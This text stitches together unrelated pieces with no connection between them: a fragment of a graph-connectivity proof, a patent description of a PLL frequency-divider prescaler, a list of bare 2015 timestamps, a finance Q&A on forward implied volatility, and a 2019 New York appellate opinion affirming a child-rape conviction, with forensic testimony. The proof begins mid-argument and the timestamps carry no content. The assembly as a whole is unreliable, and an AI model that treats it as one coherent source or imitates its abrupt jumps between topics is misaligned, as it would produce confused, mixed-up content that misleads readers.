If $|S\cap V(C_3)|=2$, without loss of generality, assume that $x=v_1$ and $y=v_2$. When $S\cap V(P_2)\neq \emptyset$, say $z=u_1$, the trees $T_i=w_ix\cup w_iy\cup w_iz$ together with $T_{n-4}=xz\cup yz$ and $T_{n-3}=xu_2\cup u_2v_3\cup zv_3\cup u_2y$ form $n-3$ pairwise internally disjoint trees connecting $S$, where $\{w_1,w_2,\cdots,w_{n-5}\}=V(G)\setminus \{x,y,z,u_2,v_3\}$. When $S\cap V(P_2)=\emptyset$, the trees $T_i=w_ix\cup w_iy\cup w_iz$ together with $T_{n-3}=xz\cup zy$ are $n-3$ pairwise internally disjoint trees connecting $S$, where $\{w_1,w_2,\cdots,w_4\}=V(G)\setminus \{x,y,z,v_3\}$.
If $|S\cap V(C_3)|=1$, without loss of generality, assume $x=v_1$. When $|S\cap V(P_2)|=2$, say $y=u_1$ and $z=u_2$, the trees $T_i=w_ix\cup w_iy\cup w_iz$ together with $T_{n-4}=xz\cup v_2z\cup v_2y$ and $T_{n-3}=xy\cup yv_3\cup zv_3$ form $n-3$ pairwise internally disjoint trees connecting $S$, where $\{w_1,w_2,\cdots,w_{n-5}\}=V(G)\setminus \{x,y,z,v_2,v_3\}$. When $S\cap V(P_2)=1$, say $u_1=y$, the trees $T_i=w_ix\cup w_iy\cup w_iz$ together with $T_{n-5}=xz\cup zy$ and $T_{n-4}=xu_2\cup u_2v_2\cup v_2y\cup v_2z$ and $T_{n-3}=xz\cup zv_3\cup v_3y$ are $n-3$ pairwise internally disjoint trees connecting $S$, where $\{w_1,w_2,\cdots,w_{n-6}\}=V(G)\setminus \{x,y,z,v_2,v_3,u_2\}$. When $|S\cap V(P_2)|=\emptyset$, the trees $T_i=w_ix\cup w_iy\cup w_iz$ together with $T_{n-4}=xz\cup zy$ and $T_{n-3}=xy\cup yv_3\cup zv_3$ form $n-3$ pairwise internally disjoint $S$-trees, where $\{w_1,w_2,\cdots,w_{n-5}\}=V(G)\setminus \{x,y,z,v_2,v_3\}$.
If $S\cap V(C_3)=\emptyset$, when $|S\cap V(P_2)|=0$ or $|S\cap V(P_2)|=2$, the trees $T_i=w_ix\cup w_iy\cup w_iz$ form $n-3$ pairwise internally disjoint $S$-trees, where $\{w_1,w_2,\cdots,w_{n-3}\}=V(G)\setminus \{x,y,z\}$. When $S\cap V(P_2)=1$, say $u_1=x$, the trees $T_i=w_ix\cup w_iy\cup w_iz$ together with $T_{n-3}=xz\cup zy$ form $n-3$ pairwise internally disjoint $S$-trees, where $\{w_1,w_2,\cdots,w_{n-4}\}=V(G)\setminus \{x,y,z,u_2\}$.
From the arguments above , we conclude that $\kappa(S)\geq n-3$ for $S\subseteq V(G)$. Thus $\kappa_3(G)\geq n-3$. From this together with Theorem 1, it follows that $\kappa_3(G)=n-3$.
**Case 3.** $K_n[M]=P_4$.
This case can be proved by an argument similar to Cases 1 and 2.
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[^1]: Supported by NSFC No.11071130.
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FIG. 14 is a diagram illustrating the structure of a conventional PLL equipped with a variable frequency divider has pulse-swallow architecture.
As shown in FIG. 14, the PLL comprises an amplifier 201 for amplifying the output (whose frequency ftcxo is 14.4 MHz) of an externally mounted temperature-compensated crystal oscillator (TCXO) 200; a reference-frequency dividing circuit 202 for frequency-dividing the output of the amplifier 201; a phase comparator 203 for sensing the phase difference between a reference signal (frequency f≈400 KHz), which is the result of frequency division by the reference-frequency dividing circuit 202, and a frequency-divided clock; a charge pump 204 for charging a capacitance (not shown) when the phase comparator 203 is outputting an UP signal in accordance with the result of the phase comparison and for discharging the charge, which has accumulated in the capacitance, when the phase comparator 203 is outputting a DOWN signal in accordance with the result of the phase comparison; a low-pass filter (loop filter) LPF 205 for smoothing the terminal voltage of the capacitance charged/discharged by the charge pump 204; a voltage-controlled oscillator (VCO) 206, to which the output voltage of the LPF 205 is input as a control voltage, for oscillating at a frequency conforming to the control voltage and outputting a signal having this frequency; a divide-by-P or divide-by-(P+1) frequency dividing circuit (referred to also as a “prescaler”) 207 composed by ECL (emitter-coupled logic) circuits for frequency-dividing the output of the voltage-controlled oscillator 206 by P or (P+1); and an A counter 209 and B counter 210 for counting the output of the prescaler 207. The phase comparator 203 compares the phase of an (A×P+B)-divided signal, which is output from a control circuit 213, and the phase of the reference signal.
An MC (modulus control) signal supplied to the prescaler 207 from the B counter 210 is a control signal for changing the frequency-dividing factor of the P, (P+1) frequency dividing prescaler 207. The prescaler 207 functions as a divide-by-P prescaler when the signal MC is at HIGH level and as a divide-by-(P+1) prescaler when the signal MC is at LOW level.
A modulus-control prescaler circuit according to the prior art will be described with reference to FIG. 15, which is a diagram illustrating the prescaler 207 and counters 209 and 210 extracted from the PLL circuit shown in FIG. 14.
As shown in FIG. 15, the prescaler 207 includes D-type flip-flops 22 to 25 each of which has its data output terminal connected to the data input terminal of the D-type flip-flop of the next stage and each of which has a clock terminal to which an output signal of the voltage-controlled oscillator (referred to simply as a “VCO”) 206 is supplied to thereby construct a 4-stage shift register; an OR gate 21 having a first input terminal connected to an inverting output terminal QB of the D-type flip-flop 25 and an output terminal connected to the data input terminal of the D-type flip-flop 22; an OR gate 26 having a non-inverting output terminal Q of the D-type flip-flop 25 and the output terminal of an OR gate 28 connected to first and second input terminals, respectively; and a D-type flip-flop 27 having the output terminal of the OR gate 26 connected to its data input terminal and having the output clock of the VCO 206 input to its clock terminal. The D-type flip-flop 27 has an inverting output terminal QB connected to the second input terminal of the OR gate 21. The non-inverting output terminal Q of the D-type flip-flop 25 is input to the clock input terminal of the D-type flip-flop 29 and the inverting output terminal QB of the D-type flip-flop 29 is connected to its own data input terminal to thereby construct a frequency dividing circuit. The non-inverting output terminal Q of the D-type flip-flop 29 is input to the clock input terminal of the D-type flip-flop 30 and the inverting output terminal QB of the D-type flip-flop 30 is connected to its own data input terminal to thereby construct a frequency dividing circuit. The non-inverting output terminal Q of the D-type flip-flop 30 is output to the A counter 209 and B counter 210 as the frequency-divided output of the prescaler 207. The MC signal and the non-inverting output terminals Q of the D-type flip-flops 29 and 30 are input to the OR gate 28, the output of which is input to the OR gate 26.
Assume that the MC signal is at logic “1” (=HIGH). At such time the OR gate 28, one input of which is the MC signal, outputs logic “1”. The OR gates 26 outputs “1” at all times. In response to the output clock of the VCO 206, the D-type flip-flop 27 latches logic “1”, which is applied to its data input terminal, outputs logic “0” from its inverting output terminal QB and delivers this output to the OR gate 21.
The prescaler 207 is of the type that performs frequency division by 32 or 33. First, however, the 4-stage shift register comprising the D-type flip-flops 22, 23, 24, and 25 is driven by the output clock of the VCO 206 to perform frequency division by 8.
More specifically, the 4-stage shift register comprising the D-type flip-flops 22, 23, 24, and 25 composes a 4-bit ring counter driven by the output clock of the VCO 206. If the inverting output terminal QB of the D-type flip-flop 25 is “1”, the output of the OR gate 21 is “1”. One round is completed by eight clocks, which enter one at a time as the output clock from the VCO 206. The states of the D-type flip-flops 25, 24, 23, and 22 undergo a transition as follows: The state initially is “0000” and becomes “0001”, “0011”, “0111”“1111”, “1110”, “1100”, “1000”, and “0000” at the first, second, third, fourth, fifth, sixth, seventh and eighth clocks, respectively, of the output clocks from the VCO 206. The D-type flip-flop 25 alternatingly outputs four clocks of successive “1”s and four clocks of successive “0”s. Thus, the output of the D-type flip-flop 25 is a signal obtained by 1/8 division of the frequency of the output clock from the VCO 206.
The output of the D-type flip-flop 25 is input to the OR gate 26. The OR gate 26 inputs “1” to the data input terminal of the D-type flip-flop 27 and the inverting output terminal QB of the D-type flip-flop 27 is made “0”.
The non-inverting output terminals Q of the D-type flip-flops 29 and 30 enter the OR gate 28, the output of which is input to the data input terminal of the D-type flip-flop 27 via the OR gate 26.
The two stages of D-type flip-flops 29 and 30 compose a divide-by-4 frequency dividing circuit. The output of the 4-stage shift register comprising the D-type flip-flops 22, 23, 24 and 25 is divided by 4 by the D-type flip-flops 29 and 30. Thus, division by 32 is achieved.
When the MC signal is at logic “0” (=LOW), on the other hand, the OR gate 28 outputs logic “0” when the non-inverting output terminals Q of the D-type flip-flops 30 and 29 are both “0”. The OR gate 26 transmits the output at the non-inverting output terminal Q of D-type flip-flop 25 to the data input terminal D of the D-type flip-flop 27.
More specifically, the flip-flops 29 and 30 clocked by the 1/8 frequency-divided output of the 4-stage register comprising the D-type flip-flops 22, 23, 24 and 25 changes in state in the manner “1010”, and “1100”. The output of the OR gate 28 becomes “0” if the outputs of the flip-flops 29, 30 both become “0”, i.e., at a rate of once per four clocks output from the D-type flip-flop 25. When the output of the OR gate 28 is “0”, the D-type flip-flop 27 constructs a shift register together with the D-type flip-flops 22, 23, 24, and 25. At the moment the output of the OR gate 28 changes to “0”, the state of the D-type flip-flop 27 is “1” (because the output of OR gate 28 is “1” immediately prior thereto and “1” enters the data input terminal D of the D-type flip-flop 27 via the OR gate 26), the inverting output terminal QB of the D-type flip-flop 27 is “0”, the state of the D-type flip-flop 25 is “0” and the inverting output terminal QB of the D-type flip-flop 25 becomes “1”.
If the output of the OR gate 28 is “0”, the OR gate 26 transmits the output of the D-type flip-flop 25 to the data input terminal of the D-type flip-flop 27 as is. Whenever the output clock of the VCO 206 enters, the states of the D-type flip-flops 27, 25, 24, 23, and 22 undergo a transition in nine clock cycles in the following manner: “10000”, “00001”, “00011”, “00111”, “01111”, “11111”, “11110”, “11100”, “11000”, and “10000”.
That is, the shift register of prescaler 207 implements frequency division by 9. Among the four cycles of the divide-by-4 frequency dividing circuit of D-type flip-flops 29 and 30, division by 8 are executed in three cycles and division by 9 in one cycle.
Accordingly, when signal MC=“0” holds, the frequency-dividing factor of prescaler 207 is8×3+9=33
Described next will be a case where frequency division by N is carried out using a pulse-swallow-type variable frequency dividing circuit that employs the prescaler 207 and two programmable counters 209 and 210. Let N represents the total frequency-dividing factor. If a represents the quotient and b the remainder (where 0<b<32 holds) when N is divided by 32 (though a number other than 32 may be used, 32 is adopted here owing to the relationship to FIG. 15), then N will become as follows:N=32×a+b
In a case where N is obtained by frequency division by 32, 33, the above is transformed toN=32×(a−b)+33×b(where a>=b holds) and remainder b can be implemented by an operation dividing by 33 and dividing by 32 the remaining number of times. A pulse-swallow counter is implemented by the combination of two binary counters 209 and 210. In case of frequency division by 32, 33, a is the quotient obtained by dividing N by 32, e.g., a value of the six higher order bits or more, and b takes on the value of the five lower order bits. When an actual operation is performed, the A counter 209 and B counter 210 both count up to set count values A′, B′ or count down from the set values A′, B′ simultaneously in response to the output of the prescaler 207. In this case, the values A′, B′ become a, b, respectively.
Until the prescribed value b is attained or until the B counter 210 counts down to 0 starting from the count value b, the MC signal is placed at LOW level and the prescaler 207 performs division by 33. In other words, the B counter 210 counts the 1/33 frequency-divided output of the prescaler 207 b times. After the B counter 210 has counted the 1/33 frequency-divided output of the prescaler 207 b times, the MC signal is placed at HIGH level. The A counter 209 counts the 1/32 frequency-divided output of the prescaler 207 (a−b) times, namely the remaining number of times until the count value a is attained or until 0 is reached starting from a.
The frequency-dividing factor N, namelyN=32×(a−b)+33×bis realized by this series of operations. Thus it is possible to realize any frequency-dividing factor N.
With regard to publications relating to the above-described pulse-swallow-type variable frequency dividing circuit equipped with a prescaler having two frequency-dividing factors P and (P+1) and two counters, see the specifications of JP Patent Kokai Publication JP-A-6-69788 and JP-A-6-120815, by way of example.
In a case where the structure of the above-described pulse-swallow-type variable frequency dividing circuit is such that the output frequency of the VCO 206 is close to the boundary operating frequency of the device constituting the prescaler 207, adopting a hierarchical arrangement for the counters is a useful technique for obtaining any number of frequency divisions in an efficient manner.
However, since it is necessary to operate the shift register of the prescaler 207 by the output clock of the VCO 206, a large number of elements that operate at high speed are required.
Further, reducing power consumption is difficult because the A counter 209 and B counter 210 are operated simultaneously.
Furthermore, the MC signal supplied to the prescaler 207 is required to operate earlier than the output period of the prescaler 207, which performs a high-speed frequency dividing operation. This makes it difficult to design the proper timing. |
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2015-04-03 07:07:00 GMT
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2015-03-30 18:00:00 GMT
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2015-03-28 05:10:02 GMT
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2015-03-26 05:10:00 GMT
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2015-03-24 03:59:00 GMT
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2015-03-20 00:04:01 GMT
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2015-03-18 00:04:01 GMT
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2015-03-16 18:00:00 GMT
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2015-03-13 23:43:55 GMT
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2015-03-11 18:00:00 GMT
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2015-03-09 18:00:00 GMT
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2015-03-04 22:44:29 GMT
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2015-03-02 18:00:00 GMT
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2015-02-25 18:00:00 GMT
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2015-02-13 18:00:00 GMT
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Q:
Forward implied volatility
Can one price accurately by only using vanilla options a derivative that is exposed/sensitive mainly to the forward volatility ?
If it is impossible, why do we hear sometimes "being long a long dated straddle and short a short dated straddle" is being exposed to forward vol ?
Here are some examples :
a) In equity markets :
- pricing a volatility swap starting in 1y and expiring 1y later.
- pricing a forward starting option with the strike determined in 1y as 100% of the spot and expiring in 5y.
b) In rates markets : (FVA swaption) a 1y5y5y Swaption, which is 6y5y swaption with the strike determined in 1y.
In the equity world, a way to express the question is : If we use a sufficiently rich model like Stochastic Local Volatility model (SLV) where the local component of the model is calibrated on vanillas (hence the price of any vanillas will be unique regardless of the choice of the stochastic part). Would our model provide a unique price of the above instruments regardless of the stochastic component choice ?
A:
From an equities perspective, there are two concepts that should not be confused in my opinion and context should make the distinction self-explicit:
Forward variance swap volatility (A)
Forward implied volatility smile (B)
I really recommend reading Bergomi's "Stochastic Volatility Modeling" which is an excellent book for equity practitioners. The topics you mentioned are discussed in a great amount of details.
To give more of a theoretical insight, in what follows I'll assume that the underlying follows a pure diffusion process (i.e. no jumps). I'll also consider two types of instruments:
Idealised variance swaps that payout at maturity
$$ \phi_{VS}(T) = A \,\,\underbrace{\frac{1}{N-1}\sum_{i=1}^N \ln\left(\frac{S_{t_i}}{S_{t_{i-1}}}\right)^2}_{\text{realised $\delta t = T/N$ returns variance}} - \underbrace{\hat{\sigma}^2}_{\text{VS variance}}$$
where $t_0 = 0 < \dots < t_i < \dots < t_N = T$ represents a partition of the horizon $[0,T]$, $A = N/T$ is an annualisation factor and where by idealised I mean that $N \to \infty$ such that the realised returns variance over the horizon may be replaced by the quadratic variation of the log price process over $[0,T]$ such that
$$ \phi_{VS}(T) = \frac{1}{T}\langle \ln S \rangle_T - \hat{\sigma}^2_T $$
Since the variance swap is entered at zero cost at inception we have that
\begin{align}
\hat{\sigma}^2_T &= \frac{1}{T} \Bbb{E}_0^\Bbb{Q} \left[ \langle \ln S \rangle_T \right] \\
&= -\frac{2}{T} \Bbb{E}_0^\Bbb{Q} \left[ \ln\left( \frac{S_T}{F_T} \right) \right] \tag{1}
\end{align}
see for instance this excellent answer by Gordon.
Forward start options, e.g. a forward start call paying out:
$$ \phi_{FS}(T=T_2) = \left( \frac{S_{T_2}/F_{T_2}}{S_{T_1}/F_{T_1}} - k \right)^+ $$
for a forward forward starting date $T_1$ and tenor $\tau = T_2-T_1$ with fixed moneyness $k$. To make my point, I'll further consider a homogeneous diffusion model such that we can successively write the price of the forward start option as
\begin{align}
V(k,T_1,T_2) &= \Bbb{E}_0^\Bbb{Q}\left[ \left( \frac{S_{T_2}/F_{T_2}}{S_{T_1}/F_{T_1}} - k \right)^+ \right] \\
&= \Bbb{E}_0^\Bbb{Q}\left[ \Bbb{E}_1^\Bbb{Q}\left[ \left( \frac{S_{T_2}/F_{T_2}}{S_{T_1}/F_{T_1}} - k \right)^+ \right] \right] \\
&= \Bbb{E}_0^\Bbb{Q}\left[ \frac{F_{T_1}}{S_{T_1} F_{T_2}} C\left( S_{T_1}, K=k S_{T_1} \frac{F_{T_2}}{F_{T_1}} , \tau=T_2-T_1; \hat{\sigma}^{T_1T_2}_k \right) \right] \\
&= \frac{F_{T_1}}{F_{T_2}} \Bbb{E}_0^\Bbb{Q}\left[ C\left(1, K=k \frac{F_{T_2}}{F_{T_1}} , \tau=T_2-T_1; \hat{\sigma}^{T_1 T_2}_k \right) \right] \tag{2}
\end{align}
where we have defined $\hat{\sigma}^{T_1T_2}_k$ as the future implied volatility at $T_1$ of options of tenors $T_2-T_1$ and moneyness $k$.
As you might have guessed, the two "forward volatility" concepts (A) and (B) I've introduced in the beginning are related to the two former instruments as follows:
Forward VS volatility as seen of $T_1$ for the tenor $T_2-T_1$, which I will denote by $\hat{\sigma}_{T_1 T_2}$, can be defined as
$$ \hat{\sigma}_{T_1 T_2}^2 = \frac{1}{T_2-T_1} \Bbb{E}_0^\Bbb{Q}\left[ \int_{T_1}^{T_2} d\langle \ln S \rangle_t \right] = \frac{T_2 \hat{\sigma}_{T_2}^2 - T_1 \hat{\sigma}_{T_1}^2}{T_2-T_1} $$
As you can see this amounts to trading in a calendar spread of fresh-start VS of maturities $(T_1,T_2)$. As per formula $(1)$, the price of each of these fresh-start VS only depends on the unconditional distribution of $S_t$ at $t = T_1$ and $t=T_2$. By the Breeden-Litzenberger identity this means that as soon as you know (or have a model calibrated to perfectly match) the prices of all vanillas at maturities $T_1$ and $T_2$ then forward VS will be priced unequivocally. Consequently, both a LV and a SV model perfectly calibrated to the vanilla market will yield the same prices for these instruments under the modelling assumptions I've made (pure diffusion + idealised variance swaps).
As per formula $(2)$ you see that for a forward start option, the real underlying of the option is not 'the stock' itself but rather the future implied volatility $\sigma_k^{T_1 T_2}$, an information which is simply not encoded in a European vanilla option. As such, forward implied volatilities $\sigma_k^{T_1 T_2}$ cannot in general be determined from the now-prevailing vanilla smile. The dynamics of $\sigma_k^{T_1 T_2}$ is rather "embedded" in the model (or equivalently the assumptions you are willing to use as Attack68 mentions in his answer). This means that a LV and a SV lodel both perfectly calibrated to the vanilla market will in general yield different implied volatility dynamics, hence different forward start option prices.
Some additional remarks:
In LSV models as you described you'll generally set up the parameters of the SV layer to tune the dynamics of the model (i.e. conditional distributions) and calibrate the LV layer to make sure that the statics of your model is consistent with the now-prevailing smile (i.e. unconditional distributions). At least this is what a tractable LSV model should allow you to do. So the answer is no, if your only target is calibrating your model to the vanilla market then definitely the price of forward start options will not be unique because there are infinite many ways to do this.
The calendar spread of straddles you mention is similar to the calendar spread of variance swaps in the sense that its price will unequivocally be determined by the unconditional distribution of the underlying (it's a calendar spread of European vanilla instruments). So yes, it gives you exposure to what you could call "forward vol" but it is more akin to a "forward VS vol" above than to a forward start option.
A:
It is possible, yes, but it requires assumptions. But, philosophically speaking, this is the case as with all pricing, of any instrument. For example, given only the price of a 6Y and 7Y IRS can you correctly price the 6.5Y IRS rate? Well, yes you can, but it depends upon your assumptions about interpolation which is a subjective choice.
Lets look specifically at your swaption question:
Can one price the 5Y5Y vol 1Y forward, denoted $\sigma^{5Y5Y\_1Y}$?
Component 1: Forward Volatility
The two components I need to price this forward volatility are:
The 6Y5Y vol (6y expiry 5y swap),
The 1Y5Y5Y vol (1y expiry 5Y5Y swap).
Modelling assumptions.
You now have a framework to equate this mathematically by modelling the assumptions about market movements. If, for example you model with normal distributions of market movements the resultant formula is fairly generic:
$$\sigma^{5Y5Y\_1Y} = \sqrt{\frac{6(\sigma^{6Y5Y})^2-1(\sigma^{1Y5Y5Y})^2}{6-1}}$$
Graphically you have:
+-------------------------+------------------+
| 6Y EXPIRY | 5Y SWAP | = Benchmark price
+-------------------------+------------------+
| 1Y EXP. | 5Y FWD | 5Y SWAP | = Composit price
+-------------------------+------------------+
| 1Y FWD | 5Y EXPIRY | 5Y SWAP | = Implied, required price.
+-------------------------+------------------+
Component 2: Volatility of a forward, i.e. midcurve
You will observe that the above used the vol info on the 1Y5Y5Y. However, this doesn't exist as a benchmark product. In fact it isn't even a vanilla traded swaption.
To calculate this price you need the information about:
1Y5Y vol (1y expiry 5y swap)
1Y10Y vol (1y expiry 10y swap)
the expected correlation between the above rates in the next year.
some modelling assumptions about change in deltas and discount factors modelled over all scenarios.
Graphically you have:
+-------------------------+
| 1Y EXP. | 5Y SWAP | = Benchmark price
+-------------------------+------------------+
| 1Y EXP. | 10Y SWAP | = Benchmark price
+-------------------------+------------------+
| 1Y EXP. | 5Y FWD | 5Y SWAP | = Composit Price
+-------------------------+------------------+
The correlation component can sometimes be inferred from exotic swaption markets where curve spread options are priced, eg a call on 5s10s curve for example.
Conclusion
I started this answer with it is possible, yes but in light of the complexity I can see why many people simply say no because the variance of accuracy, subject to all of the model assumptions, leading to weak confidence levels on the price is far from the confidence of pricing a 6.5Y swap from 6Y and 7Y IRS price.
As for trading the risk exposure to specifically this component, I don't know the answer but I seriously doubt it is possible, lest it be very complicated with some mechanical process that is far to expensive constantly hedging the changes in exotic exposures.
References:
This material is better explained and clearer in Darbyshire: Pricing and Trading Interest Rate Derivatives.
A:
The procedure outlined by @attack68 is correct for estimating forward vol assuming you are in a world where volatility is deterministic and uncorrelated with the underlying. If these assumptions are not valid, the situation is more complicated.
Taking his (or her) example, suppose you sell a usd100mm forward Vol contract on a 5yr 5yr swaption straddle, settling in 1yr from now, at a normalized volatility of 70bp per annum. This means in one year you will sell to your client $100mm of a 5yr 5yr swaption straddle struck at the then ATM 5yr 5yr forward rate. As a hedge , you buy usd100 mm of a 6yr 5yr swaption straddle and sell usd100mm of a 1 yr option on a 5yr5yr rate , both struck at today's forward rate (say 3pct ). What happens ? If over the next year , the market migrates a long way from 3pct (say 5pct), your hedge is in fact equal to the value of usd200mm of a then 5yr 5yr 3pct receiver swaption, which doesn't have much vega exposure , certainly much less than the trade you are trying to hedge.
Thus, in order to keep the hedge vega neutral versus the trade , you need to acquire more hedge as the underlying moves away from 3pct. The new hedge depends where implied volatility is on those future dates. Hence you are very dependent on the path of volatility versus rates , and the interrelationship between them.
So the simple forward vol calculation by @attack68 works as a good estimate of the market expectation of forward vol, but it doesn't form a static hedge so it can't be used to actually lock in the forward vol.
|
People v Garrow (2019 NY Slip Op 03238)
People v Garrow
2019 NY Slip Op 03238
Decided on April 26, 2019
Appellate Division, Fourth Department
Published by New York State Law Reporting Bureau pursuant to Judiciary Law § 431.
This opinion is uncorrected and subject to revision before publication in the Official Reports.
Decided on April 26, 2019
SUPREME COURT OF THE STATE OF NEW YORK
Appellate Division, Fourth Judicial Department
PRESENT: CENTRA, J.P., CARNI, LINDLEY, TROUTMAN, AND WINSLOW, JJ.
1380 KA 15-02037
[*1]THE PEOPLE OF THE STATE OF NEW YORK, RESPONDENT,
vROBERT GARROW, DEFENDANT-APPELLANT.
FRANK H. HISCOCK LEGAL AID SOCIETY, SYRACUSE (ELIZABETH RIKER OF COUNSEL), FOR DEFENDANT-APPELLANT.
WILLIAM J. FITZPATRICK, DISTRICT ATTORNEY, SYRACUSE (NICOLE K. INTSCHERT OF COUNSEL), FOR RESPONDENT.
Appeal from a judgment of the Onondaga County Court (Joseph E. Fahey, J.), rendered October 8, 2015. The judgment convicted defendant, upon a jury verdict, of predatory sexual assault against a child and rape in the first degree.
It is hereby ORDERED that the judgment so appealed from is affirmed.
Memorandum: Defendant appeals from a judgment convicting him following a jury trial of rape in the first degree (Penal Law § 130.35 [3]) and predatory sexual assault against a child (§ 130.96). Defendant's conviction stems from his rape of a four-year-old girl. Defendant's first trial ended in a hung jury, and he was convicted after a second jury trial. On appeal from that judgment, we reversed on the basis of an O'Rama violation and granted a new trial (People v Garrow, 126 AD3d 1362 [4th Dept 2015]). Defendant did not challenge the weight of the evidence on that appeal. The third trial then proceeded, and a jury again convicted defendant.
The victim, who was 11 years old at the time of this third trial, testified that she was very familiar with defendant. She testified that defendant did a "bad touch" to her by putting his "front private part" inside her "front private part," and that it hurt. Shortly after the incident, the victim disclosed to her mother that her vagina hurt. When asked why, the victim told her that defendant "did something bad" to her. After having her recollection refreshed, the victim more specifically testified that she told her mother that defendant did it "[w]ith his penis." The victim's mother gave similar testimony regarding the victim's disclosure, and explained that she taught the victim terminology for body parts at a young age because the mother was sexually molested as a child.
The victim testified that her cousin did the "same thing" to her as defendant and that it happened more than once. She testified that this occurred at her aunt's house. After the victim disclosed defendant's abuse to her mother, the mother immediately confronted defendant and asked why the victim was making the allegation against him. Defendant was non-responsive at first, but eventually stated, "I don't know. She said something about [her cousin] earlier." When the mother asked the victim if the cousin had done anything to her, the victim responded in the affirmative. The mother testified that the last time she recalled the victim spending the night at the cousin's house was more than a month prior to the disclosure she made regarding defendant. The cousin admitted that he had sexually abused the victim; he was 11 years old at the time. The victim testified that she was not confused about the incident with defendant or the incident with her cousin.
The mother took the victim to the hospital the same day she made the disclosure regarding defendant. The victim was examined by medical personnel and diagnosed with possible sexual abuse and diaper rash, but the victim was not wearing diapers at the time. She was prescribed a cream that treated yeast infections, of which the victim had a history. The [*2]victim was taken to the police station where she was questioned by a detective, and she testified that she told the detective that defendant had raped her. The detective testified that the victim disclosed that she had been sexually abused by both defendant and her cousin.
The following day, as instructed by the police and medical personnel, the mother brought the victim to a medical facility where a sexual assault examination was performed. Due to the victim's age, the gynecological examination was performed externally only and showed some redness to the external part of the victim's genitals, but no damage to the hymen. Testimony was given that most female rape victims do not exhibit injury to their genital area. A nurse testified that, although she would expect to see some damage in a four year old who had been raped by an adult male with full penetration and no lubrication, there may be no injury if the penetration was slight or there was lubrication. The nurse practitioner who examined the victim did not observe symptoms indicative of a yeast infection. She could neither confirm nor deny that sexual abuse had occurred to the victim.
The underwear that the victim was wearing the day she went to the hospital was secured and examined. In addition, dried secretion swabs were taken from three areas on the victim's thighs and buttocks that showed areas of fluorescence under a black light. A forensic scientist who examined the evidence testified that semen was not detected on any of the vaginal, anal, oral, or dried secretion swabs from the sexual assault examination kit. Using an alternate light source, she saw areas of fluorescence on the underwear, indicating potential bodily fluids in areas where drainage from the vaginal or anal cavity were most likely to be found. She took three very small cuttings of those areas to view under a microscope and identified sperm on those three locations, which were in the front interior crotch area, the middle crotch area, and on the back of the underwear near where there would be a tag. The forensic scientist testified that the presence of sperm indicated the presence of semen at those locations inasmuch as sperm is a component of semen. She further testified that she conducted another "presumptive" test for the presence of semen, the acid phosphatase (AP) test, and those tests on 20 different sections of the underwear were negative. Another forensic scientist conducted DNA testing of the sperm fraction from the middle crotch area of the inside of the underwear and testified that it matched that of defendant.
The forensic scientists admitted that they were aware of the concept of secondary sperm cell transfer from one item of clothing to another in the washing machine. The mother testified that she would launder defendant's clothing and the victim's clothing together. The second forensic scientist testified that, where the AP test was negative for the presence of semen but sperm were present on clothing, transfer of sperm through the washing machine was a possibility. She further testified, however, that she did not believe that was the most probable explanation for the sperm being present in the underwear based on the number of sperm that she observed and the amount of DNA that was extracted.
In his summation, defense counsel argued that the victim had a yeast infection, which caused the victim's statement to her mother that her vagina hurt; that the mother, who had been sexually abused as a child, turned the victim's innocent comment that "[defendant] did it" into an accusation that defendant raped the victim, which the mother repeated in front of the victim numerous times; that the victim had been abused by her cousin, and the mother steered the investigation towards defendant instead of the cousin; that the victim's testimony showed that she easily remembered the abuse by her cousin but was confused about the alleged abuse by defendant; that physical evidence of injury would be expected in this case but the victim did not sustain such injury; and that the presence of sperm on the victim's underwear was explained by secondary transfer through the washing machine. The prosecutor urged the jury to consider the victim's demeanor when she talked about the abuse and argued that she was worthy of belief. The prosecutor further argued that it was not a simple coincidence that defendant's "semen" was found in the crotch of the victim's underwear the same day she made her complaint.
In this appeal, defendant's primary contention is that he was denied a fair trial by prosecutorial misconduct. Defendant failed to object to the alleged instances of misconduct and therefore failed to preserve his contention for our review (see People v Black, 137 AD3d 1679, 1680 [4th Dept 2016], lv denied 27 NY3d 1128 [2016], reconsideration denied 28 NY3d 1026 [2016]). In any event, we conclude that defendant's contention is without merit. First, defendant contends that the prosecutor and witnesses erroneously and repeatedly stated that semen was found in the victim's underwear. The first forensic scientist testified that semen was present in [*3]the underwear by virtue of the presence of sperm, even though the AP tests had been negative. We disagree with defendant that the prosecutor elicited false testimony or misled the jury on this point (see generally People v Mulligan, 118 AD3d 1372, 1374 [4th Dept 2014], lv denied 25 NY3d 1075 [2015]). The defense theory was that the sperm could have transferred to the victim's underwear in the wash, but that was only a theory. The other possibility was that the sperm cells were deposited on the underwear through semen. As the first forensic scientist testified, while the AP test is a specific screening test for semen, the actual observation of sperm on an item of clothing is an even more specific test for the presence of semen. The prosecutor's comment on summation regarding the presence of semen in the underwear was fair comment on the evidence (see People v Jackson, 141 AD3d 1095, 1096 [4th Dept 2016], lv denied 28 NY3d 1146 [2017]).
Second, defendant contends that the testimony of the second forensic scientist that secondary sperm transfer probably did not take place in the washing machine was based on a factor, i.e., the large amount of sperm and DNA on the underwear, that was shown not to be the case in the two prior trials. Any alleged inconsistency between the witness's testimony at this trial and the previous trials should have been developed during cross-examination (see generally People v Hurd, 71 AD2d 925, 925 [2d Dept 1979]). We reject defendant's contention that the prosecutor elicited knowingly false testimony from the witness (see generally People v Colon, 13 NY3d 343, 349 [2009], rearg denied 14 NY3d 750 [2010]).
Third, defendant contends that the prosecutor's opening and closing statements improperly appealed to the emotions of the jury. We conclude, however, that most of the prosecutor's statements were fair response to defense counsel's statements (see Jackson, 141 AD3d at 1096). " Faced with defense counsel's focused attack on [the victim's] credibility, the prosecutor was clearly entitled to respond by arguing that the witness[ ] had, in fact, been credible' " (People v Roman, 85 AD3d 1630, 1632 [4th Dept 2011], lv denied 17 NY3d 821 [2011]). To the extent that any comments exceeded the bounds of proper comment, we conclude that they were not so pervasive or egregious as to deprive defendant of a fair trial (see People v Pendergraph, 150 AD3d 1703, 1703-1704 [4th Dept 2017], lv denied 29 NY3d 1132 [2017]).
